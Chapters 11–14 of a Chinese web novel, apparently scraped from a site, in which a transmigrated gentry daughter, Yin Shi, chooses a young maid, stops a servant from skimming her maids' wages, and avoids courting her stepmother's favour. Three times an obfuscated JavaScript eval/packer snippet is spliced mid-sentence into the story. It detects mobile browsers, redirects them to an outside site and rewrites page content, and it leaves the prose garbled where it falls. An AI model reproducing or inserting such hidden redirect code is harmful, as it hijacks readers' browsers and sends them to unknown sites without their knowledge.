在她原来的时空里,但凡亲戚旅游要在你家住两天,那都是没有边界感,放到网上要被口诛笔伐的了。 结果大娘却理所当然地说:“姻亲之家,有什么不合适的。” 殷莳才反应过来这个时空不一样。 这里“家族”的概念远大于“家”,亲戚们寄居、借读甚至上门打秋风都是非常正常的事。 殷家有钱,虽然好几个孩子过去住,也肯定不会花沈家的钱,都是花自己的钱,不过就是过去蹭个教育资源。 但这就是结姻亲的作用。“婚姻”这个东西,在这个时空里被定义为“结两姓之好”。沈家娶殷家的四女儿,可不是为着沈夫人本身,而是为着当年的恩情愿意和殷家做姻亲,愿意给殷家共享自家的一些资源。 殷莳看着容貌出色的小女孩们,想到包括她在内,她们所有人未来的婚姻都不能被自己掌握,轻轻地叹了口气。 殷三老爷傍晚回到家中,还记得妻子昨天说过今天会派人去接山上的四女儿,换衣裳时便问了一句:“小四接回来没有?” 三夫人给他递上家居长衫:“回来了,山上吃得挺好,长高好大一截。” “这个年纪,就是长身体的时候。”三爷指了个丫头,“去跟四娘说,我回来了。叫她到书房来见我。” 殷莳等了他一下午了,得了信赶紧就过来书房,表现得特别恭顺:“给父亲请安。” 衣食父母也是父母! 她以后要靠这个人生活呢。三夫人不能得罪,殷三老爷更得应对好了。 “一年未见,女儿时时记挂父亲。” 嘴甜一点不吃亏,况且她是真的这一年里经常会想到下山以后怎么应对这个“生身父亲”,一点不虚。 男人不亲自生孩子,常常也不亲自养孩子。尤其大户人家各自有院子,日常还不一定天天能见到。一旦离得远了,或者许久不见了,感情就容易生疏。 但一旦人又站在了跟前,打眼看去粉嫩干净一个女儿,眉眼生得如画,举止得体,乖巧可爱,殷三老爷这父爱就跟涨潮一样又涌上来了。 当爹的欣慰叹道:“你长高了。” 殷莳说:“都是母亲关爱,打点细致,我在山上衣食不缺,十分安稳。” 男人最希望家里什么样呢?就是家里所有的女人都和和睦睦的。包括婆媳、姑嫂、母女等等,更包括妻妾。 三夫人本来就没克扣过她,她夸这嫡母一句也不会掉块肉,花花轿子人抬人,何乐而不为。 果然殷三老爷听了捻须颔首,问了几句衣食身体,山上情形,便扭头唤人:“取五两银子来与四娘。” 又对她说:“你对你姨娘也算尽了孝,以后好好孝顺你母亲。你一走一年,过年也不回来,与兄弟姐妹们都生疏了,这银子你拿去做个席面,与大家乐一乐,以后在家里好好的。” 瞧,摸准了,拍对了,这不好处就来了嘛。 11. 第 11 章 第11章 殷莳不能白拿钱,回来跟巧雀说要办个席面招待同房的兄弟姐妹们。 巧雀说:“我记得哥儿们逢五逢十休沐,今个刚十一,那就十五?” 亏得她提醒,要不然这些细节殷莳哪注意得到。她忙细问具体该怎么办,巧雀说:“今天晚了,明天我就去找姨娘们问问,她们常聚,晓得要花多少钱。要不然直接去大厨房,我怕赵妈妈坑咱们钱。” 瞧,富裕人家,连妾室们都能吃香喝辣,时不时聚个会,好吃好喝地热闹热闹。 巧雀果然第二天就出去跑了一圈,回来又找殷莳拿银子:“说是一两八钱就够了。” “本来说一两三四钱就够,又说二郎如今是猛吃肉的年纪,他一个人吃的能赶上五个姑娘吃的。” 殷莳说:“那可不是,半大小子吃穷老子呢。咱们都做东请客了,不能让客人吃不饱。也别一两八钱了,你拿二两去吧,宽裕点,置办好点。” 巧雀吐舌头:“亏得青燕姐不在了,要不然准得说咱们瞎大方。” 青燕明明是个婢女,却在很多事上压制了当小姐的。年纪大就是有这样的优势。幸好她自己走了,省了殷莳好多事。 巧雀虽然也比她大几岁,却远没有青燕那么强势,要好管得多。 而且巧雀刚刚从殷莳那得到了升职的承诺,正是急于表现的时候。她开箱取了银子,麻利地跑了趟大厨房就跟掌着大厨房的赵妈妈把事情敲定了。 回来说:“赵妈妈直夸姑娘大气呢。她拍胸脯子保证了定给咱们整一桌好席面。” 又说:“我回来路上已经去各个院里挨个都知会了。” 巧雀眼睛亮晶晶的,含着期待。 殷莳当然得满足她,夸赞:“越来越有大丫头的样了。” 巧雀十分满足,说:“我去赶着给姑娘做件新衣裳出来。姑娘别忘了跟孙妈妈的事。” 跟孙妈妈什么事?当然是敲定巧雀升职后的月钱的事。 殷莳一乐:“你放心。” 巧雀左右看看,附耳低声说:“我就是怕她在这边压我的月钱,按三等给,在夫人那里却报二等。” 那就是从中间吃差额了。殷莳惊讶:“真有这么干的?” 巧雀点头:“姑娘别声张,咱们自己知道就行。” 殷莳保证:“你放心,该你的我会给你争过来。她们要是敢吃空饷,我就捅到母亲那里去。” 巧雀得了保证,开开心心去给殷莳裁新衣去了。 在另一个时空也就是初中生的年纪,在这个时空要干各种活,甚至在一个月百来文月钱的驱动下,挑灯夜战,熬夜缝衣。 殷莳瞅着都心疼了,巧雀自己却不觉得辛苦,反而干劲十足:“姑娘别担心,十五那日定让姑娘穿上新衣。” 各人有各人的命。 殷莳觉得投胎成婢女命苦,巧雀却觉得青燕走了自己能提成二等丫头是走大运。她只催殷莳:“姑娘别管了,快睡去。” 殷莳很听话地自己回去睡觉了。幽昏的帐子里盯着帐顶许久,才叹口气,闭上眼睛睡了。 这个时空交通靠走,通讯靠吼,很多事效率没那么高。 殷莳三月十一还家,三夫人吩咐孙妈妈给她找小丫头,三月十三孙妈妈才领着五个小孩过来给殷莳挑选。 也就六七岁的模样,搁在另一个时空里都是小学生。 殷莳让小孩们做个简单的自我介绍,筛下去一个说话不利落的。又问另外几个会什么。可惜的是没有一个识字的。 连巧雀都不识字呢。乡绅之家而已,哪有那么多识字的下人。又不是那种书香世家,据说沈家就是小厮都识字的。 没法比,没法比。 几个小孩之中有个明显伶俐许多的,衣衫也鲜亮,偏要装笨装呆。只是再伶俐的小孩也是小孩,怎么装也骗不过殷莳这个成年灵魂。她起初不明白,后来云鹃悄悄告诉她:“那是徐妈妈的小女儿,她肯定是想分到二郎、三郎那里去……” 殷莳恍然大悟。 托沈夫人的福,她爹殷三老爷虽然是个庶子可在殷家也还有点分量。虽比不上长房那样是热灶,可也算得上是个温热的灶。 排下来,排到三房的大郎、二郎甚至三郎,因为是小郎君,也都可以算是温灶。但若继续往下排,排到殷莳这个连亲娘都死了、在三夫人面前也并不特别讨喜的小庶女这里,就彻底是冷灶了。 谁爱烧冷灶?当然没人乐意。 所以人家有点背景的仆二代看不上她这个小院子——殷莳这才想明白了。 强扭的瓜不甜,虽然那孩子看着就很伶俐,但没必要,真没必要。殷莳放过了她,小孩明显松了一口气。 孙妈妈只笑吟吟地看着。 其实最开始殷莳还幻想着像小说里那样,察言观色、出题考验、精挑细选……然后选中一个天命忠仆。 实属想多了。 最后,在有限的选择里挑了一个看起来比较健康,手心比较粗糙的孩子。问了问,爹是马夫,娘没差事,哥哥姐姐的差事也都一般般。 仆二代跟仆二代也差得很远。 一问名字,叫“三丫”。 孙妈妈说:“既跟了姑娘,姑娘给赏个名吧。” 殷莳闻言轻轻叹了口气。 没人明白她为什么莫名叹气。大家都看着她。巧雀还说:“咱们院里的,都是鸟雀。” 是的,殷莳早就发现了,走了的大丫头叫青燕,然后是巧雀,然后是云鹃,都是鸟。 人不当人啊。 但她以后也会习惯吧。事实上,这一年,她已经习惯了。 冬天外面冷得冻手,大早上的是巧雀、云鹃这俩小孩忙里忙外给她端水洗漱。脸蛋和小手都冻得通红。 殷莳心里不是没有罪恶感的,但罪恶感终究也没法驱动她亲自去受这个罪。 慢慢地,看多了,就习惯了。 人到了哪个时空,很自然地就同化了。 以后慢慢地……会彻底同化吧。 殷莳放弃了抵抗:“叫葵儿吧,葵花的葵。” 向阳,健康。 起码寓意挺好。 孙妈妈笑赞:“好名字。葵儿,还不谢过姑娘。” 改名为葵儿的三丫忙屈膝:“谢姑娘。” 殷莳问:“现在就留下吗?” 孙妈妈对葵儿说:“你回家收拾一下,跟家里大人说一声,拾掇好了就过来。” 葵儿问:“要带被褥吗?” 巧雀忙说:“不用,咱们这里有的。你自家的不要带过来。” 葵儿高兴:“好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565596|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葵儿家的条件肯定是不太好。殷莳对巧雀说:“你去寻两块合适的料子给她,让她裁两件新衣裳。” 葵儿的脸都发光了,眼巴巴地看着巧雀。 巧雀去寻了块方胜纹的松江布并一块蔓草纹的粗绸给葵儿。她自己也是奴婢,很懂,嘱咐她:“告诉你娘,这是给你做了姑娘院里的丫头要穿的,我要看着你穿的。” 葵儿欢喜,抱紧了,使劲点头:“我晓得,姐姐放心。” 仆二代就是这样。明明年纪这么小,可已经这么懂事了。 唉。 事情办妥了孙妈妈就准备走,殷莳拦住了她确认:“巧雀提起来,她的月钱以后就是二等了吧。” 大人们房里的大丫头才是一等丫头,殷家的规矩是姑娘屋里没有一等丫头,身边大丫头是二等丫头。以前青燕就是二等,巧雀是三等。最小的云鹃还是粗使,和婆子一样,但因为年纪小,拿的钱又比婆子少。 孙妈妈眼神闪烁了一下,说:“虽说让她先顶上,但她年纪还小,倒不必……” 日哦!真让巧雀担心对了! 这老婆子! 因为姑娘们连自己的钱都让婢女管着,通常不会亲自去过问这些钱的事。 她一个庶女大概率也不会亲自去找三夫人讲丫头月钱的事。 实际上这些事三夫人也不亲自管,只管账,具体事务也是身边的妈妈在管。 所以这些老妖婆真干得出吃空饷的事——那边给三夫人报巧雀提了二等,这边压着巧雀只按三等算,然后自己从中中饱私囊吃个差价。 “这跟年纪没关系。”殷莳打断她,“干什么活,拿什么钱。巧雀现在把我屋里活都揽了,做得也让我满意。既然顶替了二等的活计,就该拿二等的月钱。否则凭什么别的姐姐妹妹们屋里都有二等的丫头,只有我没有?” 她掏出帕子开始按眼角:“这是欺负我没了姨娘吗?我不信,我要找母亲给我做主去! 说着做出一副抬脚准备冲的姿态。 孙妈妈忙拦住她:“我的祖宗!你是这家里正经的姑娘,谁敢欺负你!” “是我想得多,我怕这些丫头小小年纪就升了等,便轻狂起来。姑娘年纪小,回头她们欺负姑娘。” 殷莳一甩帕子:“妈妈也说了我是这家里正经的姑娘,哪个丫头敢欺负我?若有,我便请妈妈来,提脚卖了她们。” 哎呀妈呀,“提脚卖了”这词读过无数遍了,没想到有一天会从自己嘴里说出来。 别说,味还挺正,真有点像出生就呼奴使婢的小姐了。 孙妈妈还真吃这一套,被唬住了,赔笑说:“姑娘说的是。是我想岔了。那就这样,我回去禀过夫人,巧雀以后就是二等了。” “还有云鹃,巧雀升了二等,云鹃该升三等了,月钱也得跟上。” “啊……” “姐妹们院里几个丫头什么等级,我院里也得一样。” “……姑娘说的是。” 瞧着孙妈妈认栽了,殷莳笑了:“就知道母亲和妈妈都疼我,不会叫人欺负了我去。” 孙妈妈还能说什么,两手一揣:“那怎能!” 好好一个乖巧姑娘,怎么一年不见斤斤计较起来了。 孙妈妈心想:果然没娘的孩子长得快呀。 12. 第 12 章 第12章 孙妈妈虽然不怎么高兴,但也没有特别的不高兴,反正就那样走了。 巧雀大大地松了一口气。 事关她的月钱,她当然不想自己被克扣,但孙妈妈是三夫人的心腹妈妈,她小小丫头也怕得罪了她。 幸好,姑娘没跟孙妈妈硬顶,一通哭诉既为院子里的婢女们保住了月钱,也没有得罪孙妈妈,大家还是一团和气。 巧雀对自家姑娘真是刮目相看了。 在巧雀的眼里,这都是因为姑娘没了娘,又在山上的时候时时跟大和尚上课被教导,所以迅速地成长了! 毕竟姑娘是读书识字的,而她是个大字不识的。大字不识的人,常容易对读过书识了字的人产生敬畏感。 总之,是令人高兴的。 因为巧雀本身不像青燕那么有主意,要是主子是个有主见的,哪怕主子如今才九岁,她也是乐意听主子安排的。这样,不用自己费脑子,省心。 自家姑娘虽然年纪还小,可已经能立起来了,她作婢女的还担心什么呢。 巧雀立刻撸袖子回屋里去了:“我做活去了!定叫姑娘十五那日穿上新衣裙。” 殷莳跟着进了堂屋坐下。云鹃端过来一碟子洗净的桑葚,殷莳捻起一个丢进嘴巴里,冲着槅扇门里面喊:“别太累着,白天缝晚上就别缝了。先把衫子缝出来就行。裙子可以穿上次缝的那条……” 巧雀在里间道:“那不行,姑娘新除服呢,守孝时的衣裳按说都不该穿了。夫人赏的新料子颜色才够新鲜。姑娘别担心,我手快。” 云鹃说:“我去洗洗手,给巧雀姐姐打下手去!” 经由殷莳的争取,不仅保住了巧雀的二等月钱,连云鹃也从粗使升了三等了,涨钱了。 正是干劲十足的时候。 殷莳塞了一嘴的桑葚,一边咀嚼,一边从敞开的门口看向外看。 天蓝蓝的,小院不大但属于她。 两个丫头收服归心,踏实干活。 再来个小丫头搁在身边从小教,不信教不好。 殷莳瞅着四下无人,忍不住翘起了二郎腿,缎面绣鞋一晃一晃。 美~! 简直想哼两句小曲,忍住。 葵儿第二天带着个小包袱来了,身上穿了件新衣,是方胜纹的松江布裁的,正是昨日殷莳赏的。 小孩穿新衣脸上都生光:“我娘连夜赶着给我裁的。另一块料子她在做了。” 还行,不是那等贪心糊涂的父母。 因院子里的丫头得有体面,不能折损了主人的脸,主人家才会给赐下四季衣裳,叫穿得鲜亮。葵儿这个时候来,没赶上,殷莳才赏了她料子。 若是她爹娘把料子昧下,虽然她可怜,但殷莳也得重新考虑是不是继续用她了。 一个大户人家的宅子就是一个小社会。不是没有刁奴欺主的。尤其主人年纪还小的这种情况。 孙妈妈不就暗搓搓想克扣她院里婢女的月钱嘛。 葵儿的事不用她操心,巧雀如今是院里的大丫头了,被褥、用具之类的自有巧雀来操办。 云鹃也勤快,告诉葵儿规矩,指点她收拾东西。 葵儿别看小,铺床叠被十分之麻利,一看就是打小就干活的。看那粗糙手心就能看得出来。 丫头们住在耳房里,三张小床品字形摆放,一人一个小木箱装自己的东西。还有个小柜大概是定制的,恰就是上中下三层,一人分一层。 殷莳靠在耳房门口,看着三个小女孩一边叽喳一边利索地拾掇,极快地就安置好了葵儿。 葵儿年纪虽小,但很有眼色。不唤不随便往正房里跑,若唤了叫干什么就干什么。 小小一个娃娃就会抓着比自己还高的扫帚,吭哧吭哧地扫院子。 殷莳没法说“这是个孩子我们不能用童工”,只能跟李婆子说:“她小,别让她干太重的活。” 又跟巧雀说:“吃饭的时候你瞧着点,让她多吃点。” 巧雀点头:“吃饱了才能有力气干活。” 殷莳:“……” 不,我不是那个意思。 ……算了。 葵儿一到,殷莳院里的配置就算齐全了。 说起来比起红楼里面差远了,可别忘了,红楼那是钟鸣鼎食之家,咱们这就是一个乡绅,乡绅而已。 一个人有三个婢女一个婆子用,反正殷莳自己是很知足的。 巧雀晚上点灯熬夜,果然在十五之前把新衣裙都赶出来了。用的是三夫人赏的衣裳料子,很鲜亮。 守孝结束后除服就该这样的,换上鲜亮的衣服,开始新的生活。 三房的孩子都如约而至。 大郎跟着沈家人去了京城,二郎、三郎在家,一个十三岁一个八岁,是少年和孩童。另有从大娘到五娘四个姐妹,三房的七个孩子聚在一起,相当热闹。 只是二娘跟三娘吵架,三郎捉弄哭了五娘,又有二郎这个本该是当事的哥哥竟然想偷偷弄酒来喝,唯恐天下不乱。 搞得殷莳十分头大。 好在她躯壳虽小,却是成年人的灵魂,把这群孩子照顾得很好。大家都很尽兴。 到该散的时候,大娘问:“明个该上学去了吧?” 殷莳回到家里歇了好几天了,也道:“明天就去。” 家里拨了专门的房舍给姑娘们上学用。每日里姑娘们结伴过去。 大娘说:“那我过来的时候喊你。” 大娘回去后跟自己的奶娘感叹:“四娘都会照顾人了。” “那是。”奶娘说,“你有姨娘,她没有了。” 甚至连奶娘都没一个,是个孤苦的命。 大娘道:“可别乱说,还有母亲呢。” 奶娘忙道:“瞧我,该掌嘴。” 大娘已经十二岁了,再过两年就要说亲了。她的姨娘、奶娘都晓得女儿家说亲得靠嫡母,都在教她讨好嫡母。 大娘拿起才起了针的针线活做了起来。 奶娘嘱咐道:“针脚再细些,见诚意。” 大娘轻轻道:“好。” 这是给嫡母裁的贴身衣裳,料子特别柔软,下针的难度就更大一些。 裁外衣那是孝心表露给别人看的。裁这贴身的、旁人看不到的小衣,才是不沽名钓誉,真心孝顺的。 殷莳要是知道十二岁的小姑娘已经要考虑这么周祥,怕是又要叹气了。 殷莳的生活开始回到正轨,她又开始上学了。 上学的不止三房的几个姑娘,还有各房的堂姐妹们,林林总总十来个姑娘。看出来了,叔叔伯伯们都挺能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573676|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的。毕竟这时代不节育,殷家也有钱养得活养得起,不至于溺杀女婴。 大家年纪不一样,最大的一个堂姐十四岁了,最小的就是三房的五娘,才六岁,今年刚进学。 虽然是在一个课堂上,每个课也是同一个女西席在教,但其实是分层教学。 年纪小的学识字、读书。大些的有女红、音律、书画。再大些的要学习管家的技能。 虽然挺实用的,但总体来说所学的东西都是为了好说亲,说好亲。终极目的是要嫁个好人家,并经营好自己的婚姻。 殷莳经过山上一年的恶补,如今针线上也像模像样了。 倒是她的字让女先生颇感意外:“竟练得这样好了?”一年前也是这先生教的,她是知道“殷莳”的水平的。 真要感谢这一年的缓冲。到现在殷莳都庆幸当时自己走的这一步太对了。 现在她能从容地告诉先生:“在山上日日抄写佛经,又得了师父的指点,加上杂事少,心无旁骛,才有了些许进步。先生看着可还行?” 先生也听说了她在东林寺认了师父,点头称赞:“不错。” 殷莳面上笑吟吟,心底长长吐出一口气。 至此,原主的痕迹算是被彻底抹杀覆盖了。殷莳认认真真地和姐妹们上学,恭恭敬敬地给祖母、嫡母晨昏定省。 日复一日,循环往复,看起来和殷家的别的姑娘没有任何区别。 不,也不能说完全没有不一样。 殷家三房的四姑娘为生母守孝一年归来,变得成熟、沉稳、懂事起来。在姐妹中间从来不争不抢,呛嘴吵架也从来没有她。 在姐妹们的眼里都觉得三房的四娘是个老好人,只会傻笑,有点钝钝的。 她们不知道殷莳这个成年灵魂会为了丫头们的月钱寸步不让,但怎么会跟一群小女孩一般见识。大人,是懂得包容的。 爱吵吵,爱抢抢。在殷莳的眼里,小女孩之间就根本没有什么值得她拍案而起去争抢的,甚至她还得去当起劝架、拉架的责任,谁让她是一堆孩子里唯一的大人呢。 渐渐竟有了敦厚友爱的名声。姨娘们都愿意自己的女儿跟四娘一起玩,不担心被欺负,也不担心有事。 都说:“四娘是个稳妥的。” 只是四娘自从从山上回来,添了莳花弄草的爱好,移栽了许多她从山上带回来的花草,把她那院子里整得葳蕤青翠,花团锦簇。 大娘有时候过来找她玩,赞叹之余,建议她:“剪些花送与母亲赏玩呀。” 这做姐姐的真有长姐的样,担心没有人教她,悄悄与她咬耳朵:“你还小,我跟你说……以后我们说亲,都要靠母亲的。” 大娘要是不说,殷莳为了安稳说不定还真会这么做。偏大娘这么一说,殷莳心想,那可真不能送了。 真让三夫人喜欢了,早早给说了亲事可怎么办? 殷莳一边“嗯嗯”,一边装傻充楞,就是不照办。每天该上学上学,该吃喝吃喝。至于讨好嫡母的事,那是一件也没做的。 气得大娘回去跟自己的姨娘说:“四娘跟听不懂人话似的。” “她如今也没有姨娘为她操持了,以后还不是全得靠母亲。”大娘恨铁不成钢,“怎么就不知道多表表孝心呢。” “都是为了她好。” 13. 第 13 章 第13章 殷莳本就在府里是不起眼的边缘人,又不肯像大娘那样刻意去讨好嫡母,自然存在感就更低了。 但事实上,对殷莳本人来说,却是生活进入了一种让她极为满意的安稳状态。 下人们虽然会有点小心思,但她的嫡母三夫人坐拥三个儿子,底气十足,对庶女们还算宽容慈爱。嗯,说慈爱有拍马屁的嫌疑了,但至少三夫人没有那克扣的心思。 春日的果,夏天的冰,秋季的进补,寒冬的炭,没有缺的。 小院门一关,一院子都是自己人,舒舒服服。 甚至佛诞日她真的帮家里在东林寺订到了院子。 本来这该是大房的事。东林寺香火鼎盛,这日子里订不到院子也常见。老太太那意思,能订得上当然好,订不上那也没办法。 殷家虽然富庶,但地头上又富又贵的人多得是,这时候银子也不好使了。 但老太太礼佛,大家都知道她嘴上虽然说着没关系,心里头肯定还是期盼能订上的,只不想让自己儿子为难罢了。 一如往年,果然今年的佛诞日大房也没能给订上院子。老太太嘴上说着没关系,眼里是有失望的。 谁想到三房忽然站出来,说托了关系给订上了。 虽然是和别人家共用一个院子,老太太也喜得破天荒地使劲夸赞了三夫人一通。 三夫人少见地在老夫人跟前体面了起来,扬眉吐气。 回来她就使人将殷莳叫到跟前好好夸奖了一番——这次能挤进去,全靠殷莳联络了她师父。 殷莳非常谦虚:“孝顺母亲、祖母,原就是应该的。女儿岂敢居功。只是我在师父那里放了大话……” “你放心。”三夫人笑吟吟地伸出几根手指,“今年的香油钱,老夫人给了这个数。” 哇哦。 殷莳脸上露出了笑容,但依然接着问:“那我师父那里……” 三夫人笑骂:“瞧你操心得。” “你放一百个心。这是大人操心的事,有我在呢。”三夫人抽了张纸给她,“喏,这都是给你师父备的。” 谁说出家人就放下红尘了。在有些时空,僧人其实就是份职业,还是带编制的。 殷莳飞速地扫了一遍这张礼单,不是,该说是供奉清单,彻底放下心来了。 三夫人道:“不薄了了吧?” 托首座大和尚的福,让她扬眉吐气了一回,她便也出手大方。更不要说这次给东林寺的香油钱和供奉,老太太都交给她来办,中间过手,岂能没有油水。 稳赚的。 殷莳从前仗着小孩身体成人灵魂又在这刚没了亲娘的空档,露柔弱让人怜,显聪慧讨人喜,又坚持不懈,终于磨得首座大和尚收了她这个记名弟子。 这种关系在当时多少是有些感情因素在的。但分开久了,不维护就会淡去。人跟人之间都这样。 所以殷莳得时时去维护这份师徒关系。 殷莳屈了屈膝,脸上带着发自内心的笑:“母亲比我周到多了,竟办了这么厚的供奉。师父看到定然是高兴的。” 三夫人用手隔空点她,对孙妈妈说:“瞧她,如今跟师父竟比跟我们还亲。” 孙妈妈捧场地笑笑。 殷莳也不费那力气非要在三夫人跟前作八面玲珑的模样,干脆只傻笑,省心省力。 春去夏至,夏去秋来,等烧上了炭盆,裹上了银鼠皮内里的锦绣冬袄,便是一年又过去了。 这个时空的人讲究翻年就算了长了一岁。 果真裙子变短、鞋子变小,小姑娘发芽似的抽条长个。 一起上课的年纪最大的堂姐及笄了。堂姐妹们都参加了她的及笄礼。然后有一天,这堂姐就忽然不来上课了。 二娘笑嘻嘻:“她订下来了。” 订下来了就是订亲了。订亲了就不上这些姑娘家的课了,一边跟在自己母亲的身边学些理家的实践,一边收心开始为成亲、认亲的那一天准备针线活。 其实怀溪这里本就以桑麻茶叶出名,纺织、刺绣业都发达。 很多人家成亲喜服、喜被这些大件的东西都找专业的绣坊。殷家自己就有绣坊,大件全不用姑娘家动手。 女孩子躲在自己房中不过缝一些给未来公婆叔子伯子小姑和亲戚们的小件。 最主要的还是让女孩子收心,好好养性子。 “四娘,你叹什么气?”大娘转头问殷莳。 “没有。”殷莳摸着喉咙敷衍,“嗓子不舒服……” “春日里干燥,要多喝水。”大娘说,“母亲昨日里赏了我些好茶,回头我叫桑儿拿些给你。” 二娘嚷嚷:“母亲怎地只给你,不给我们。” 大娘还没回答,坐旁边桌的二房的堂姐掩口笑:“你才几岁,与你姐姐有什么好争的。先紧着你姐姐,然后才是你,还有好几年呢。” 大娘啐她,又上手去拧。那堂姐笑着躲开。 二娘也懂了,扮个鬼脸:“我才不争。” 种种女儿家憨态,天真可爱。 殷莳托腮笑看。 先生进来了,女孩子们都安静下来。 殷莳翻了几页书,抬头看看女孩子们乖巧甜美的模样,又望望窗外枝头绿意,侧耳听鸟雀叽喳。 及笄了就说亲,说亲了就不再来上课了。所以课堂里女孩子们的年纪都不大。 在这个年纪,享受着无忧无虑的少女时代,尚不知道眼前时光的珍贵。等许多年过去后,大概才会慨叹“当时只道是寻常”吧。 与她们不同,殷莳这二次投胎的人极其享受并珍惜眼前时光。 不必为衣食住行操心,这是童年、少女时候才有的幸福。成年之后再没有过了。 在这里除了每天给长辈晨昏定省像点卯一样,也没有其他迫不得已的社交了。嫡母三夫人有子万事足,也不怎么稀罕庶女们的奉承,也没兴致磋磨她们,高兴了甚至还赏点什么。大家各安本分。 殷莳每日和可爱的女孩子们上完课,回到小院把门一关,袖子一挽,莳花弄草多么惬意快乐。 要是能把时光就定在这里该有多好。 但那是不可能的,即便是在不同的时空,时光也是一样流淌,挡不住。 又过了一年,去了京城的几个殷家郎君回来户籍地参加童生试。长房的四郎和三房的大郎一举考中了秀才。虽只是秀才,却是实实在在的功名,而且一次两个! 殷家阖府上下喜气洋洋,大把地洒喜钱。 三房尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575701|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其双喜临门——大郎中了秀才之后,便成亲了。 原本成亲就是预订好的,中不中都要成亲。但中了,就喜上加喜了。 三夫人满面生光。 但这之后,殷家郎君们却不再回去京城跟沈家读书了。 阖府上下都喜气洋洋,只有老太爷却叹气,殷大爷等几个儿子小心翼翼地陪着。 “那就这样吧。”老太爷惋惜。 殷家的郎君们以后不回京城,还是在家读书了。 为什么呢。 “跟不上。”长房的四郎老实承认。 殷莳的大哥更是说:“你们不知道我们压力有多大,沈家的人……太会读书了。我们真的已经很刻苦了。” 可是被沈家的小弟弟们碾压得太痛苦了。 尤其他们亲亲的亲表弟沈缇,简直……算了,不提也罢。 殷家对沈家有恩,沈家凭着自身的实力,硬是把殷家三个没什么读书天赋的郎君拉出了两个秀才。 仁至义尽了。 读书这个事,勤奋刻苦固然重要,然而在天赋的面前,百分之九十九的汗水也赶不上人家那百分之一的天生才华。 沈家牵线给殷家介绍了新的西席。沈夫人和她的夫君都有信给殷家。 夫妻俩一个说得委婉些,一个说得则更明白些—— 我娘家侄子们天赋实在有限,沈家尽力了。他们这水平也就到这儿了,即便再到沈家也是跟不上的,揠苗助长反怕坑了侄儿们。你女婿给找的先生,水平教咱家的孩子绝对是够了,让孩子们跟着他读书吧。不要在沈家继续受碾压了,我瞧着侄子们自信全都没了,这样不好。 ——话当然不是这样说的,但读出来就是这个意思。 沈夫人的夫君沈博的信里甚至还预言了:四郎与大郎必中。 果然就是长房的四郎与三房的大郎中了秀才。可见人家沈家人对殷家孩子的学业水平掌握得清清楚楚。 老太爷遗憾道:“那就这样吧。” 老太爷也是经历过风风雨雨的人,很快就调整了心态:“你们高祖、曾祖不过都是小贩,到我这里才薄有资产,捐个官身。到你们,终于有了功名。总归是一代强于一代了。” 听到以后不必再回沈家了,几个年轻人都大大地松了一口气。 老太爷气得直翻白眼:“出息!” 长房四郎叹气道:“祖父别骂我们啦。我们是真的不想再跟表弟一起读书了。” 三房大郎也叹气:“祖父,你不晓得跟沈缇一起读书是什么感觉。” 原先在家的时候虽知道自己不是特别有天赋的人,但身边同龄人都差不多,偶有一两个稍微聪明些的,也就那样。 可沈家表弟沈缇是不一样的。 跟这弟弟一起读书常让人自我怀疑:我他妈是不是个废物? 老太爷目光微凝:“曦哥吗?他今年是不是也下场了?” 四郎吐槽:“他去年就想下场,叫姑父给摁住了。他还不乐意。” 老太爷问:“你姑父为什么为什么要阻拦曦哥下场?” 四郎沉默了一下。 “姑父说,木秀于林不是好事,不想他太小就有功名。” “去年……他毕竟才十岁。” 14. 第 14 章 第14章 郎君们在长大、读书、取功名,小娘子们的时光也在向前走。 大娘先及笄了,说了门还算不错的亲事。门当户对的富裕乡绅之家。 二娘开始走跟大娘一样的路,讨好嫡母,待及笄,也得了门不错的亲事。夫家没有大娘的夫家那么富裕,但也不穷,关键是夫君不错,有秀才的功名。 终于轮到三娘了,也是走姐姐们的路子。 但三娘和殷莳同岁。当三娘的行为被大家视为理所当然的时候,就显出殷莳的不同来了。 这时候大娘已经嫁了,二娘订了亲待嫁。人相处久了多少都会有感情,大娘的姨娘、二娘和二娘的姨娘都私下里劝殷莳:“你看你姐姐们怎么做的,你学着点。别怨我们唠叨,虽从前与你姨娘也有拌嘴的时候,可也是看着你长大的。你没了姨娘,我们怕没人教你,才多嘴。” 殷莳还是有点感动的。 感动,然后阳奉阴违。面上点头答应着,还笑吟吟谢着,实际上该怎样还怎样,一如从前。安安静静在小院里做个边缘人。 三娘与她的姨娘说:“气死了,我叫四娘与我一起给母亲做针线,她躲懒。我都快做完了,她还没动针。” 她姨娘道:“知道你与她好。旁的时候你愿意拉她一起无所谓,这时候求你别了。” 三娘便不吭声了。 